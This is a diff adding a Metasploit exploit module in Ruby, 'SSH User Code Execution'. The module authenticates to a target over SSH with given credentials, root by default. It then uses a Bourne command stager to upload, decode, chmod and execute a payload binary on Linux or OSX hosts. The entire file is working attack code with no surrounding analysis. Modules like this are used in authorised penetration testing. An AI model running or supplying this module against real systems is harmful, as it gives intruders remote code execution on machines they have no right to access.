|
| 1 | + |
| 2 | +require 'msf/core' |
| 3 | +require 'net/ssh' |
| 4 | + |
| 5 | +class Metasploit3 < Msf::Exploit::Remote |
| 6 | + Rank = ManualRanking |
| 7 | + |
| 8 | + include Msf::Exploit::CmdStagerBourne |
| 9 | + |
| 10 | + attr_accessor :ssh_socket |
| 11 | + |
| 12 | + def initialize |
| 13 | + super( |
| 14 | + 'Name' => 'SSH User Code Execution', |
| 15 | + 'Version' => '', |
| 16 | + 'Description' => %q{ |
| 17 | + This module utilizes a stager to upload a base64 encoded |
| 18 | + binary which is then decoded, chmod'ed and executed from |
| 19 | + the command shell. |
| 20 | + }, |
| 21 | + 'Author' => ['Spencer McIntyre', 'Brandon Knight'], |
| 22 | + 'References' => |
| 23 | + [ |
| 24 | + [ 'CVE', '1999-0502'] # Weak password |
| 25 | + ], |
| 26 | + 'License' => MSF_LICENSE, |
| 27 | + 'Privileged' => true, |
| 28 | + 'DefaultOptions' => |
| 29 | + { |
| 30 | + 'PrependFork' => 'true', |
| 31 | + 'EXITFUNC' => 'process' |
| 32 | + }, |
| 33 | + 'Payload' => |
| 34 | + { |
| 35 | + 'Space' => 4096, |
| 36 | + 'BadChars' => "", |
| 37 | + 'DisableNops' => true |
| 38 | + }, |
| 39 | + 'Platform' => [ 'osx', 'linux' ], |
| 40 | + 'Targets' => |
| 41 | + [ |
| 42 | + [ 'Linux x86', |
| 43 | + { |
| 44 | + 'Arch' => ARCH_X86, |
| 45 | + 'Platform' => 'linux' |
| 46 | + }, |
| 47 | + ], |
| 48 | + [ 'Linux x64', |
| 49 | + { |
| 50 | + 'Arch' => ARCH_X86_64, |
| 51 | + 'Platform' => 'linux' |
| 52 | + }, |
| 53 | + ], |
| 54 | + [ 'OSX x86', |
| 55 | + { |
| 56 | + 'Arch' => ARCH_X86, |
| 57 | + 'Platform' => 'osx' |
| 58 | + }, |
| 59 | + ], |
| 60 | + ], |
| 61 | + 'DefaultTarget' => 0, |
| 62 | + # For the CVE |
| 63 | + 'DisclosureDate' => 'Jan 01 1999' |
| 64 | + ) |
| 65 | + |
| 66 | + register_options( |
| 67 | + [ |
| 68 | + OptString.new('USERNAME', [ true, "The user to authenticate as.", 'root' ]), |
| 69 | + OptString.new('PASSWORD', [ true, "The password to authenticate with.", '' ]), |
| 70 | + OptString.new('RHOST', [ true, "The target address" ]), |
| 71 | + Opt::RPORT(22) |
| 72 | + ], self.class |
| 73 | + ) |
| 74 | + |
| 75 | + register_advanced_options( |
| 76 | + [ |
| 77 | + OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]) |
| 78 | + ] |
| 79 | + ) |
| 80 | + end |
| 81 | + |
| 82 | + def execute_command(cmd, opts) |
| 83 | + begin |
| 84 | + Timeout.timeout(3) do |
| 85 | + self.ssh_socket.exec!(cmd) |
| 86 | + end |
| 87 | + rescue ::Exception |
| 88 | + end |
| 89 | + end |
| 90 | + |
| 91 | + def do_login(ip, user, pass, port) |
| 92 | + opt_hash = { |
| 93 | + :auth_methods => ['password', 'keyboard-interactive'], |
| 94 | + :msframework => framework, |
| 95 | + :msfmodule => self, |
| 96 | + :port => port, |
| 97 | + :disable_agent => true, |
| 98 | + :password => pass |
| 99 | + } |
| 100 | + |
| 101 | + opt_hash.merge!(:verbose => :debug) if datastore['SSH_DEBUG'] |
| 102 | + |
| 103 | + begin |
| 104 | + self.ssh_socket = Net::SSH.start(ip, user, opt_hash) |
| 105 | + rescue Rex::ConnectionError, Rex::AddressInUse |
| 106 | + fail_with(Exploit::Failure::Unreachable, 'Disconnected during negotiation') |
| 107 | + rescue Net::SSH::Disconnect, ::EOFError |
| 108 | + fail_with(Exploit::Failure::Disconnected, 'Timed out during negotiation') |
| 109 | + rescue Net::SSH::AuthenticationFailed |
| 110 | + fail_with(Exploit::Failure::NoAccess, 'Failed authentication') |
| 111 | + rescue Net::SSH::Exception => e |
| 112 | + fail_with(Exploit::Failure::Unknown, "SSH Error: #{e.class} : #{e.message}") |
| 113 | + end |
| 114 | + |
| 115 | + if not self.ssh_socket |
| 116 | + fail_with(Exploit::Failure::Unknown) |
| 117 | + end |
| 118 | + return |
| 119 | + end |
| 120 | + |
| 121 | + def exploit |
| 122 | + do_login(datastore['RHOST'], datastore['USERNAME'], datastore['PASSWORD'], datastore['RPORT']) |
| 123 | + |
| 124 | + print_status("#{datastore['RHOST']}:#{datastore['RPORT']} - Sending Bourne stager...") |
| 125 | + execute_cmdstager({:linemax => 500}) |
| 126 | + end |
| 127 | +end |
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